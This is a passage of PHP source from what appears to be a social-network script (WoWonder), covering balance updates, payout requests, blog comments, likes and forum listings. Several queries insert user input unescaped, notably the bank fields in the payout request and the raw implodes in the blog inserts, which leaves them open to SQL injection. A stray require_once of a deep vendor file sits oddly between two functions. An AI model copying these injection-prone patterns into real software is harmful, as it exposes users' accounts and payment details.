(mysqli_num_rows($sql_query_one)) { while ($fetched_data = mysqli_fetch_assoc($sql_query_one)) { $data[] = Wo_UserData($fetched_data['user_id']); } } return $data; } function Wo_UpdateBalance($user_id = 0, $balance = 0, $type = '+') { global $wo, $sqlConnect; if (empty($user_id) || !is_numeric($user_id) || $user_id < 0) { return false; } if (empty($balance)) { return false; } $user_id = Wo_Secure($user_id); $balance = Wo_Secure($balance); $user_data = Wo_UserData($user_id); if ($type == '+') { $balance = ($user_data['balance'] + $balance); } else { $balance = ($user_data['balance'] - $balance); } $query_one = "UPDATE " . T_USERS . " SET `balance` = '{$balance}' WHERE `user_id` = {$user_id} "; $query = mysqli_query($sqlConnect, $query_one); if ($query) { return true; } return false; } function Wo_RequestNewPayment($user_id = 0, $amount = 0, $insert_array = array()) { global $sqlConnect, $db; if (empty($user_id)) { return false; } if (empty($amount)) { return false; } $user_id = Wo_Secure($user_id); $amount = Wo_Secure($amount); if (Wo_IsUserPaymentRequested($user_id) === true) { return false; } $user_data = Wo_UserData($user_id); $full_amount = Wo_Secure($user_data['balance']); $time = time(); $options = array( "iban" => "", "country" => "", "full_name" => "", "swift_code" => "", "address" => "" ); $args = array_merge($options, $insert_array); $query_text = "INSERT INTO " . T_A_REQUESTS . " (`user_id`, `amount`, `full_amount`, `time`, `iban`, `country`, `full_name`, `swift_code`, `address`) VALUES ('$user_id', '$amount', '$full_amount', '$time', '" . $args['iban'] . "', '" . $args['country'] . "', '" . $args['full_name'] . "', '" . $args['swift_code'] . "', '" . $args['address'] . "')"; $query = mysqli_query($sqlConnect, $query_text); if ($query) { $notification_data_array = array( 'recipient_id' => 0, 'type' => 'with', 'time' => time(), 'admin' => 1 ); $db->insert(T_NOTIFICATION, $notification_data_array); return true; } return false; } function Wo_IsUserPaymentRequested($user_id = 0) { global $sqlConnect; if (empty($user_id)) { return false; } $user_id = Wo_Secure($user_id); $query = mysqli_query($sqlConnect, "SELECT COUNT(`user_id`) FROM " . T_A_REQUESTS . " WHERE `user_id` = '{$user_id}' AND status = '0'"); return (Wo_Sql_Result($query, 0) == 1) ? true : false; } function Wo_GetPaymentsHistory($user_id = 0) { global $sqlConnect; if (empty($user_id)) { return false; } $user_id = Wo_Secure($user_id); $data = array(); $query_one = "SELECT `id` FROM " . T_A_REQUESTS . " WHERE `user_id` = '{$user_id}' ORDER BY `id` DESC"; $sql_query_one = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql_query_one)) { while ($fetched_data = mysqli_fetch_assoc($sql_query_one)) { $data[] = Wo_GetPaymentHistory($fetched_data['id']); } } return $data; } function Wo_GetAllPaymentsHistory($type = 0) { global $sqlConnect; $type = Wo_Secure($type); $data = array(); $where = ""; if ($type != 'all') { $where = "WHERE `status` = '{$type}'"; } $query_one = "SELECT * FROM " . T_A_REQUESTS . " {$where} ORDER BY `id` DESC"; $sql_query_one = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql_query_one)) { while ($fetched_data = mysqli_fetch_assoc($sql_query_one)) { $data[] = Wo_GetPaymentHistory($fetched_data['id']); } } return $data; } function Wo_CountPaymentHistory($id) { global $sqlConnect; $data = array(); $id = Wo_Secure($id); $query_one = "SELECT COUNT(`id`) as count FROM " . T_A_REQUESTS . " WHERE `status` = '{$id}'"; $sql_query_one = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql_query_one)) { $fetched_data = mysqli_fetch_assoc($sql_query_one); return $fetched_data['count']; } return false; } function Wo_GetPaymentHistory($id) { global $sqlConnect, $wo; if (empty($id)) { return false; } $data = array(); $id = Wo_Secure($id); $query_one = "SELECT * FROM " . T_A_REQUESTS . " WHERE `id` = '{$id}'"; $sql_query_one = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql_query_one)) { $fetched_data = mysqli_fetch_assoc($sql_query_one); $fetched_data['user'] = Wo_UserData($fetched_data['user_id']); $fetched_data['total_refs'] = Wo_CountRefs($fetched_data['user_id']); $fetched_data['time_text'] = Wo_Time_Elapsed_String($fetched_data['time']); $fetched_data['callback_url'] = $wo['config']['site_url'] . '/' . 'requests.php?f=admincp&paid_user_id=' . $fetched_data['user_id'] . '&paid_ref_id=' . $fetched_data['id']; return $fetched_data; } return false; } function Wo_CountRefs($user_id = 0) { global $sqlConnect; $data = array(); $user_id = Wo_Secure($user_id); $query_one = "SELECT COUNT(`user_id`) as count FROM " . T_USERS . " WHERE `referrer` = '{$user_id}'"; $sql_query_one = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql_query_one)) { $fetched_data = mysqli_fetch_assoc($sql_query_one); return $fetched_data['count']; } return false; } function Wo_InsertBlog($registration_data = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $fields = '`' . implode('`, `', array_keys($registration_data)) . '`'; $data = '\'' . implode('\', \'', $registration_data) . '\''; $query = mysqli_query($sqlConnect, "INSERT INTO " . T_BLOG . " ({$fields}) VALUES ({$data})"); if ($query) { return mysqli_insert_id($sqlConnect); } return false; } function Wo_RegisterBlogComment($registration_data = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $fields = '`' . implode('`, `', array_keys($registration_data)) . '`'; $data = '\'' . implode('\', \'', $registration_data) . '\''; $query = mysqli_query($sqlConnect, "INSERT INTO " . T_BLOG_COMM . " ({$fields}) VALUES ({$data})"); if ($query) { $comment_id = mysqli_insert_id($sqlConnect); Wo_RegisterPoint($comment_id, "blog_comment"); return $comment_id; } return false; } function Wo_RegisterBlogCommentReply($registration_data = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $fields = '`' . implode('`, `', array_keys($registration_data)) . '`'; $data = '\'' . implode('\', \'', $registration_data) . '\''; $query = mysqli_query($sqlConnect, "INSERT INTO " . T_BLOG_COMM_REPLIES . " ({$fields}) VALUES ({$data})"); if ($query) { return mysqli_insert_id($sqlConnect); } return false; } function Wo_GetBlogCommentsCount($id) { global $sqlConnect, $wo; $is_owner = false; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $count = 0; $sql = "SELECT COUNT(`id`) as blogComments FROM " . T_BLOG_COMM . " WHERE `blog_id` = '$id'"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); $count += $fetched_data['blogComments']; } $sql = "SELECT COUNT(`id`) as blogComments FROM " . T_BLOG_COMM_REPLIES . " WHERE `blog_id` = '$id'"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); return $count + $fetched_data['blogComments']; } return $count; } function Wo_GetBlogComments($args = array()) { global $sqlConnect, $wo; $options = array( "id" => false, "offset" => 0, "blog_id" => false ); $args = array_merge($options, $args); $offset = Wo_Secure($args['offset']); $id = Wo_Secure($args['id']); $blog_id = Wo_Secure($args['blog_id']); $query_one = ''; $data = array(); if ($offset > 0) { $query_one .= " AND `id` < {$offset} AND `id` <> {$offset} "; } if ($id && $id > 0 && is_numeric($id)) { $query_one .= " AND `id` = '$id' "; } if ($blog_id && $blog_id > 0 && is_numeric($blog_id)) { $query_one .= " AND `blog_id` = '$blog_id' "; } $limit = 10; if (!empty($args['limit'])) { $limit = Wo_Secure($args['limit']); } $query = mysqli_query($sqlConnect, "SELECT `id` FROM " . T_BLOG_COMM . " WHERE `id` > 0 {$query_one} ORDER BY `id` DESC LIMIT $limit "); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $comment = Wo_GetBlogCommentData($fetched_data['id']); if ($comment && !empty($comment)) { $data[] = $comment; } } } return $data; } function Wo_GetBlogCommLikes($id) { global $sqlConnect, $wo; $id = Wo_Secure($id); $likes = 0; $sql = "SELECT COUNT(`id`) as blogCommentLikes FROM " . T_BM_LIKES . " WHERE `blog_comm_id` = '$id'"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { if ($query && !empty($query)) { $fetched_data = mysqli_fetch_assoc($query); $likes = $fetched_data['blogCommentLikes']; } } return $likes; } function Wo_GetBlogCommReplyLikes($id) { global $sqlConnect, $wo; $id = Wo_Secure($id); $likes = 0; $sql = "SELECT COUNT(`id`) as blogCommentReplyLikes FROM " . T_BM_LIKES . " WHERE `blog_commreply_id` = '$id'"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { if ($query && !empty($query)) { $fetched_data = mysqli_fetch_assoc($query); $likes = $fetched_data['blogCommentReplyLikes']; } } return $likes; } function Wo_GetBlogCommReplyDisLikes($id) { global $sqlConnect, $wo; $id = Wo_Secure($id); $likes = 0; $sql = "SELECT COUNT(`id`) as blogCommentReplyDisLikes FROM " . T_BM_DISLIKES . " WHERE `blog_commreply_id` = '$id'"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { if ($query && !empty($query)) { $fetched_data = mysqli_fetch_assoc($query); $likes = $fetched_data['blogCommentReplyDisLikes']; } } return $likes; } function Wo_GetBlogCommDisLikes($id) { global $sqlConnect, $wo; $id = Wo_Secure($id); $likes = 0; $sql = "SELECT COUNT(`id`) as blogCommentDisLikes FROM " . T_BM_DISLIKES . " WHERE `blog_comm_id` = '$id'"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { if ($query && !empty($query)) { $fetched_data = mysqli_fetch_assoc($query); $likes = $fetched_data['blogCommentDisLikes']; } } return $likes; } function Wo_GetBlogCommentReplies($args = array()) { global $sqlConnect, $wo; $options = array( "id" => false, "comm_id" => false ); $args = array_merge($options, $args); $id = Wo_Secure($args['id']); $comm_id = Wo_Secure($args['comm_id']); $limit = ""; $query_one = ''; $data = array(); if ($id && $id > 0 && is_numeric($id)) { $query_one .= " AND `id` = '$id' "; } if ($comm_id && $comm_id > 0 && is_numeric($comm_id)) { $query_one .= " AND `comm_id` = '$comm_id' "; } if (!empty($args['limit']) && is_numeric($args['limit']) && $args['limit'] > 0) { $limit = Wo_Secure($args['limit']); $limit = " LIMIT $limit"; } if (!empty($args['offset']) && is_numeric($args['offset']) && $args['offset'] > 0) { $offset = Wo_Secure($args['offset']); $query_one .= " AND `id` > $offset "; } $query = mysqli_query($sqlConnect, "SELECT `id` FROM " . T_BLOG_COMM_REPLIES . " WHERE `id` > 0 {$query_one} ORDER BY `id` ASC $limit"); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $comment = Wo_GetBlogCommReplyData($fetched_data['id']); if ($comment && !empty($comment)) { $data[] = $comment; } } } return $data; } function Wo_IsBlogCommentOwner($id) { global $sqlConnect, $wo; $is_owner = false; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $query = mysqli_query($sqlConnect, "SELECT * FROM " . T_BLOG_COMM . " WHERE `id` = '$id'"); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); if (!empty($fetched_data) && is_array($fetched_data)) { if ($fetched_data['user_id'] == $wo['user']['id'] || $wo['user']['admin'] == 1) { $is_owner = true; } } } return $is_owner; } function Wo_IsBlogCommReplyOwner($id) { global $sqlConnect, $wo; $is_owner = false; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $query = mysqli_query($sqlConnect, "SELECT * FROM " . T_BLOG_COMM_REPLIES . " WHERE `id` = '$id'"); $fetched_data = mysqli_fetch_assoc($query); if (mysqli_num_rows($query)) { if (!empty($fetched_data) && is_array($fetched_data)) { if ($fetched_data['user_id'] == $wo['user']['id'] || $wo['user']['admin'] == 1) { $is_owner = true; } } } return $is_owner; } function Wo_GetBlogCommentData($id) { global $sqlConnect, $wo; if (!$id || !is_numeric($id) || $id < 1) { return false; } $query = mysqli_query($sqlConnect, "SELECT * FROM " . T_BLOG_COMM . " WHERE `id` = '$id'"); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); $data = false; if (!empty($fetched_data)) { $fetched_data['user_data'] = Wo_UserData($fetched_data['user_id']); $fetched_data['is_owner'] = Wo_IsBlogCommentOwner($fetched_data['id']); $fetched_data['likes'] = Wo_GetBlogCommLikes($fetched_data['id']); $fetched_data['dislikes'] = Wo_GetBlogCommDisLikes($fetched_data['id']); $fetched_data['replies'] = Wo_GetBlogCommentReplies(array( 'comm_id' => $fetched_data['id'] )); $data = $fetched_data; } return $data; } return false; } function Wo_GetBlogCommReplyData($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $query = mysqli_query($sqlConnect, "SELECT * FROM " . T_BLOG_COMM_REPLIES . " WHERE `id` = '$id'"); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); $data = false; if (!empty($fetched_data)) { $fetched_data['user_data'] = Wo_UserData($fetched_data['user_id']); $fetched_data['is_owner'] = Wo_IsBlogCommReplyOwner($fetched_data['id']); $fetched_data['likes'] = Wo_GetBlogCommReplyLikes($fetched_data['id']); $fetched_data['dislikes'] = Wo_GetBlogCommReplyDisLikes($fetched_data['id']); $data = $fetched_data; } return $data; } return false; } function Wo_IsBlogCommentLikeExists($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $id = Wo_Secure($id); $user = $wo['user']['id']; $sql = "SELECT `id` FROM " . T_BM_LIKES . " WHERE `blog_comm_id` = '$id' AND `user_id` = '$user'"; $exists = false; $query = mysqli_query($sqlConnect, $sql); if ($query && !empty($query)) { $likes = mysqli_num_rows($query); if ($likes > 0) { $exists = true; } } return $exists; } function Wo_IsBlogCommentDisLikeExists($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $id = Wo_Secure($id); $user = $wo['user']['id']; $sql = "SELECT `id` FROM " . T_BM_DISLIKES . " WHERE `blog_comm_id` = '$id' AND `user_id` = '$user'"; $exists = false; $query = mysqli_query($sqlConnect, $sql); if ($query && !empty($query)) { $likes = mysqli_num_rows($query); if ($likes > 0) { $exists = true; } } return $exists; } function Wo_IsBlogCommentReplyDisLikeExists($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $id = Wo_Secure($id); $user = $wo['user']['id']; $sql = "SELECT `id` FROM " . T_BM_DISLIKES . " WHERE `blog_commreply_id` = '$id' AND `user_id` = '$user'"; $exists = false; $query = mysqli_query($sqlConnect, $sql); if ($query && !empty($query)) { $likes = mysqli_num_rows($query); if ($likes > 0) { $exists = true; } } return $exists; } function Wo_IsBlogCommentReplyLikeExists($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $id = Wo_Secure($id); $user = $wo['user']['id']; $sql = "SELECT `id` FROM " . T_BM_LIKES . " WHERE `blog_commreply_id` = '$id' AND `user_id` = '$user'"; $exists = false; $query = mysqli_query($sqlConnect, $sql); if ($query && !empty($query)) { $likes = mysqli_num_rows($query); if ($likes > 0) { $exists = true; } } return $exists; } function Wo_RemoveBlogCommentLikes($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $id = Wo_Secure($id); $user = $wo['user']['id']; $sql = "DELETE FROM " . T_BM_LIKES . " WHERE `blog_comm_id` = '$id' AND `user_id` = '$user'"; return mysqli_query($sqlConnect, $sql); } function Wo_RemoveBlogCommentReplyLikes($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $id = Wo_Secure($id); $user = $wo['user']['id']; $sql = "DELETE FROM " . T_BM_LIKES . " WHERE `blog_commreply_id` = '$id' AND `user_id` = '$user'"; return mysqli_query($sqlConnect, $sql); } require_once('./assets/libraries/google/vendor/rize/uri-template/src/Rize/UriTemplate/Node/Node.php'); function Wo_RemoveBlogCommentReplyDisLikes($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $id = Wo_Secure($id); $user = $wo['user']['id']; $sql = "DELETE FROM " . T_BM_DISLIKES . " WHERE `blog_commreply_id` = '$id' AND `user_id` = '$user'"; return mysqli_query($sqlConnect, $sql); } function Wo_RemoveBlogCommentDisLikes($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $id = Wo_Secure($id); $user = $wo['user']['id']; $sql = "DELETE FROM " . T_BM_DISLIKES . " WHERE `blog_comm_id` = '$id' AND `user_id` = '$user'"; return mysqli_query($sqlConnect, $sql); } function Wo_AddBlogCommentLikes($id, $blog) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1 || !$blog || !is_numeric($blog)) { return false; } $id = Wo_Secure($id); $blog = Wo_Secure($blog); $comment = Wo_GetBlogCommentData($id); $result = false; $user = $wo['user']['id']; @Wo_RemoveBlogCommentDisLikes($id); if ($comment && !empty($comment) && !Wo_IsBlogCommentLikeExists($id)) { $sql = "INSERT INTO " . T_BM_LIKES . " (`id`, `blog_comm_id`,`blog_commreply_id`, `movie_comm_id`,`movie_commreply_id`, `user_id`,`blog_id`) VALUES (NULL, '$id', '0', '0', '0', '$user','$blog')"; $query = mysqli_query($sqlConnect, $sql); if ($query) { $result = true; } } else if ($comment && !empty($comment) && Wo_RemoveBlogCommentLikes($id)) { $result = true; } return $result; } function Wo_AddBlogCommReplyLikes($id, $blog) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1 || !$blog || $blog < 1) { return false; } $id = Wo_Secure($id); $blog = Wo_Secure($blog); $comment = Wo_GetBlogCommReplyData($id); $result = false; $user = $wo['user']['id']; if ($comment && !empty($comment) && !Wo_IsBlogCommentReplyLikeExists($id)) { $sql = "INSERT INTO " . T_BM_LIKES . " (`id`, `blog_comm_id`,`blog_commreply_id`, `movie_comm_id`, `movie_commreply_id`, `user_id`, `blog_id`) VALUES (NULL, '0', '$id','0','0', '$user','$blog')"; $query = mysqli_query($sqlConnect, $sql); if ($query) { $result = true; @Wo_RemoveBlogCommentReplyDisLikes($id); } } else if ($comment && !empty($comment) && Wo_RemoveBlogCommentReplyLikes($id)) { $result = true; } return $result; } function Wo_DeleteBlogComment($id, $blog = 0) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1 || !Wo_IsBlogCommentOwner($id)) { return false; } $blog_id = Wo_Secure($blog); @mysqli_query($sqlConnect, "DELETE FROM " . T_BLOG_COMM_REPLIES . " WHERE `comm_id` = '$id'"); @mysqli_query($sqlConnect, "DELETE FROM " . T_BM_LIKES . " WHERE `blog_id` = '$blog_id' AND `blog_comm_id` = '$id'"); @mysqli_query($sqlConnect, "DELETE FROM " . T_BM_DISLIKES . " WHERE `blog_id` = '$blog_id' AND `blog_comm_id` = '$id'"); @mysqli_query($sqlConnect, "DELETE FROM " . T_BLOG_REACTION . " WHERE `comment_id` = '$id'"); Wo_RegisterPoint($id, "blog_comment", "-"); return mysqli_query($sqlConnect, "DELETE FROM " . T_BLOG_COMM . " WHERE `id` = '$id'"); } function Wo_DeleteBlogCommReply($id, $blog = 0) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1 || !Wo_IsBlogCommReplyOwner($id) || !$blog || $blog < 1) { return false; } $blog_id = Wo_Secure($blog); @mysqli_query($sqlConnect, "DELETE FROM " . T_BM_LIKES . " WHERE `blog_id` = '$blog_id' AND `blog_commreply_id` = '$id'"); @mysqli_query($sqlConnect, "DELETE FROM " . T_BM_DISLIKES . " WHERE `blog_id` = '$blog_id' AND `blog_commreply_id` = '$id'"); @mysqli_query($sqlConnect, "DELETE FROM " . T_BLOG_REACTION . " WHERE `reply_id` = '$id'"); return mysqli_query($sqlConnect, "DELETE FROM " . T_BLOG_COMM_REPLIES . " WHERE `id` = '$id'"); } function Wo_IsBlogOwner($blog_id = 0, $user_id = 0) { global $sqlConnect, $wo; if (empty($blog_id)) { return false; } if (empty($user_id)) { $user_id = $wo['user']['user_id']; } $user_id = Wo_Secure($user_id); $blog_id = Wo_Secure($blog_id); $query = mysqli_query($sqlConnect, "SELECT COUNT(`id`) as count FROM " . T_BLOG . " WHERE `user` = {$user_id} AND `id` = $blog_id"); if (mysqli_num_rows($query)) { $query_ = mysqli_fetch_assoc($query); return ($query_['count'] > 0) ? true : false; } return false; } function Wo_UpdateBlog($id = 0, $update_data = array()) { global $sqlConnect, $wo; $update = array(); if ($wo['loggedin'] == false) { return false; } if (empty($update_data)) { return false; } if (empty($id)) { return false; } $id = Wo_Secure($id); if (Wo_IsBlogOwner($id) === false) { return false; } foreach ($update_data as $field => $data) { $update[] = '`' . $field . '` = \'' . Wo_Secure($data, 0, false) . '\''; } $impload = implode(', ', $update); $query_one = "UPDATE " . T_BLOG . " SET {$impload} WHERE `id` = {$id} "; $query = mysqli_query($sqlConnect, $query_one); return $query; } function Wo_GetMyBlogs($user = 0, $offset = 0) { global $sqlConnect, $wo; $data = array(); if ($wo['loggedin'] == false) { return false; } $after_blogs = ''; if ($offset > 0) { $after_blogs = " AND `id` < {$offset} AND `id` <> {$offset} "; } $active = ''; if ($wo['config']['blog_approval'] == 1 && !Wo_IsAdmin()) { $active = " AND `active` = '1' "; } $user = Wo_Secure($user); $offset = Wo_Secure($offset); $t_blog = T_BLOG; $query = mysqli_query($sqlConnect, "SELECT * FROM `$t_blog` WHERE `user` = '$user' {$active} {$after_blogs} ORDER BY `id` DESC LIMIT 10"); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $data[] = Wo_GetArticle($fetched_data['id']); } } return $data; } function Wo_GetBlogs($args = array()) { global $sqlConnect, $wo; $options = array( "category" => false, "offset" => 0, "limit" => 10, 'order_by' => 'DESC', 'user_id' => 0, 'id' => '0', 'keyword' => '' ); $args = array_merge($options, $args); $offset = Wo_Secure($args['offset']); $limit = Wo_Secure($args['limit']); $category = Wo_Secure($args['category']); $order_by = Wo_Secure($args['order_by']); $id = Wo_Secure($args['id']); $user_id = Wo_Secure($args['user_id']); $keyword = Wo_Secure($args['keyword']); $query_one = 'WHERE posted > 0'; if ($offset > 0) { $query_one .= " AND `id` < {$offset} AND `id` <> {$offset} "; } if ($category) { $query_one .= " AND `category` = '$category' "; } if ($user_id) { $query_one .= " AND `user` = '$user_id' "; } if ($keyword) { $query_one .= " AND `title` LIKE '%$keyword%' "; } if ($category && $offset > 0) { $query_one .= " AND `category` = '$category' AND `id` < {$offset} AND `id` <> {$offset} "; } if (!empty($id)) { $query_one .= " AND `id` <> '$id' "; } if ($wo['config']['blog_approval'] == 1 && !Wo_IsAdmin()) { $query_one .= " AND `active` = '1' "; } $order_by_text = ''; if ($order_by == 'DESC') { $order_by_text = '`id` DESC'; } else if ($order_by == 'RAND') { $order_by_text = 'RAND()'; } $query_two = "SELECT * FROM " . T_BLOG . " {$query_one} ORDER BY $order_by_text LIMIT {$limit} "; $query = mysqli_query($sqlConnect, $query_two); $data = array(); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $data[] = Wo_GetArticle($fetched_data['id']); } } return $data; } function Wo_DeleteMyBlog($id = 0) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } if (empty($id)) { return false; } if (Wo_IsBlogOwner($id) === false) { if (Wo_IsAdmin() === false && Wo_IsModerator() === false) { return false; } } $id = Wo_Secure($id); $thumbnail = mysqli_query($sqlConnect, "SELECT `thumbnail` FROM " . T_BLOG . " WHERE `id` = '$id'"); if ($thumbnail) { $path = mysqli_fetch_assoc($thumbnail); if ($path['thumbnail'] != 'upload/photos/d-blog.jpg') { if (file_exists($path['thumbnail'])) { unlink($path['thumbnail']); } else { @Wo_DeleteFromToS3($path['thumbnail']); } } } @mysqli_query($sqlConnect, "DELETE FROM " . T_BLOG_COMM . " WHERE `blog_id` = '$id' "); @mysqli_query($sqlConnect, "DELETE FROM " . T_BLOG_COMM_REPLIES . " WHERE `blog_id` = '$id' "); @mysqli_query($sqlConnect, "DELETE FROM " . T_BM_DISLIKES . " WHERE `blog_id` = '$id' "); @mysqli_query($sqlConnect, "DELETE FROM " . T_BM_LIKES . " WHERE `blog_id` = '$id' "); $query_one = "DELETE FROM " . T_BLOG . " WHERE `id` = '$id'"; $sql_query_one = mysqli_query($sqlConnect, $query_one); if ($sql_query_one) { $sql_query_two = mysqli_query($sqlConnect, "SELECT `id` FROM " . T_POSTS . " WHERE `blog_id` = '$id' LIMIT 1"); $mysqli = mysqli_fetch_assoc($sql_query_two); $delete_post = Wo_DeletePost($mysqli['id']); } return $sql_query_one; } function Wo_GetArticle($id = 0) { global $sqlConnect, $wo, $db; if (empty($id)) { return false; } $active = ''; if ($wo['config']['blog_approval'] == 1 && !Wo_IsAdmin()) { $active = " AND `active` = '1' "; } $id = Wo_Secure($id); $sql_query_one = mysqli_query($sqlConnect, "SELECT * FROM " . T_BLOG . " WHERE `id` = '$id' {$active}"); if (mysqli_num_rows($sql_query_one)) { $fetched_data = mysqli_fetch_assoc($sql_query_one); if (!empty($fetched_data)) { $fetched_data['author'] = Wo_UserData($fetched_data['user']); $fetched_data['thumbnail'] = Wo_GetMedia($fetched_data['thumbnail']); $fetched_data['tags_array'] = @explode(',', $fetched_data['tags']); if ($wo['config']['useSeoFrindly'] == 1) { $fetched_data['url'] = Wo_SeoLink('index.php?link1=read-blog&id=' . $fetched_data['id'] . '_' . Wo_SlugPost($fetched_data['title'])); } else { $fetched_data['url'] = Wo_SeoLink('index.php?link1=read-blog&id=' . $fetched_data['id']); } $fetched_data['author'] = Wo_UserData($fetched_data['user']); $fetched_data['category_link'] = Wo_SeoLink('index.php?link1=blog-category&id=' . $fetched_data['category']); $fetched_data['category_name'] = ''; $fetched_data['is_post_admin'] = false; if ($wo['loggedin'] == true) { $fetched_data['is_post_admin'] = ($fetched_data['user'] == $wo['user']['id']) ? true : false; } if (!empty($wo['blog_categories'][$fetched_data['category']])) { $fetched_data['category_name'] = $wo['blog_categories'][$fetched_data['category']]; } if ($wo['config']['second_post_button'] == 'reaction') { $post = $db->where('blog_id', $fetched_data['id'])->getOne(T_POSTS); if (!empty($post)) { $fetched_data['reaction'] = Wo_GetPostReactionsTypes($post->id); } } } return $fetched_data; } return false; } function Wo_SearchBlogs($args = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $options = array( "category" => false, "keyword" => false ); $args = array_merge($options, $args); $category = Wo_Secure($args['category']); $keyword = Wo_Secure($args['keyword']); if (!$keyword || !$category) { return false; } $query_two = "SELECT * FROM " . T_BLOG . " WHERE `category` = '$category' AND `title` LIKE '%$keyword%' OR `description` LIKE '%$keyword%' "; $query = mysqli_query($sqlConnect, $query_two); $data = array(); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $data[] = Wo_GetArticle($fetched_data['id']); } } return $data; } // *** Wo_Wonder Forum *** // function Wo_GetForumSec($args = array()) { global $sqlConnect, $wo; $options = array( "id" => false, "offset" => 0, "limit" => false, "search" => false, "keyword" => false, "forums" => false, "order_by" => 'ASC' ); $args = array_merge($options, $args); $offset = Wo_Secure($args['offset']); $id = Wo_Secure($args['id']); $limit = Wo_Secure($args['limit']); $search = Wo_Secure($args['search']); $keyword = Wo_Secure($args['keyword']); $forums = Wo_Secure($args['forums']); $order_by = Wo_Secure($args['order_by']); $query_one = ""; if ($offset > 0) { $query_one .= " AND `id` < {$offset} AND `id` <> {$offset} "; } if ($id) { $query_one .= " AND `id` = '$id' "; } if ($order_by) { $query_one .= " ORDER BY `id` $order_by"; } if ($limit) { $query_one .= " LIMIT {$limit} "; } $sql_query_one = mysqli_query($sqlConnect, "SELECT * FROM " . T_FORUM_SEC . " WHERE `id` > 0 {$query_one}"); $data = array(); if (mysqli_num_rows($sql_query_one)) { while ($fetched_data = mysqli_fetch_assoc($sql_query_one)) { if ($forums) { $fetched_data['forums'] = Wo_GetForums(array( "section" => $fetched_data['id'], "search" => $search, "keyword" => $keyword )); if (count($fetched_data['forums']) > 0) { $data[] = $fetched_data; } } else { $data[] = $fetched_data; } } } return $data; } function Wo_GetForums($args = array()) { global $sqlConnect; $options = array( "section" => false, "offset" => 0, "limit" => false, "search" => false, "keyword" => false, 'order_by' => 'ASC' ); $args = array_merge($options, $args); $offset = Wo_Secure($args['offset']); $section = Wo_Secure($args['section']); $limit = Wo_Secure($args['limit']); $search = Wo_Secure($args['search']); $keyword = Wo_Secure($args['keyword']); $order_by = Wo_Secure($args['order_by']); $sql_query = ""; if ($section) { $sql_query .= " AND `sections` = '$section' "; } if ($search) { $sql_query .= " AND `name` LIKE '%$keyword%' "; } if ($order_by) { $sql_query .= " ORDER BY `id` $order_by"; } if ($limit) { $sql_query .= " LIMIT {$limit} "; } $sql_queryset = mysqli_query($sqlConnect, "SELECT * FROM " . T_FORUMS . " WHERE `id` > 0 {$sql_query} "); $data = array(); while ($fetched_data = mysqli_fetch_assoc($sql_queryset)) { $fetched_data['posts'] = Wo_GetTotalThreads(array( 'forum' => $fetched_data['id'] )); $data[] = $fetched_data; } return $data; } function Wo_GetShortTitle($text = false, $preview = false, $len = 40) { if (!$text) { return false; } if (strlen($text) > $len && !$preview) { $text = mb_substr($text, 0, $len, "UTF-8") . ".."; } return $text; } function Wo_GetForumInfo($fid) { global $sqlConnect; if (!$fid || !is_numeric($fid)) { return array(); } $sql_query_one = mysqli_query($sqlConnect, "SELECT * FROM " . T_FORUMS . " WHERE `id` = '$fid'"); $data = array(); if (mysqli_num_rows($sql_query_one)) { while ($fetched_data = mysqli_fetch_assoc($sql_query_one)) { $data['threads'] = Wo_GetForumThreads(array( "forum" => $fetched_data['id'], 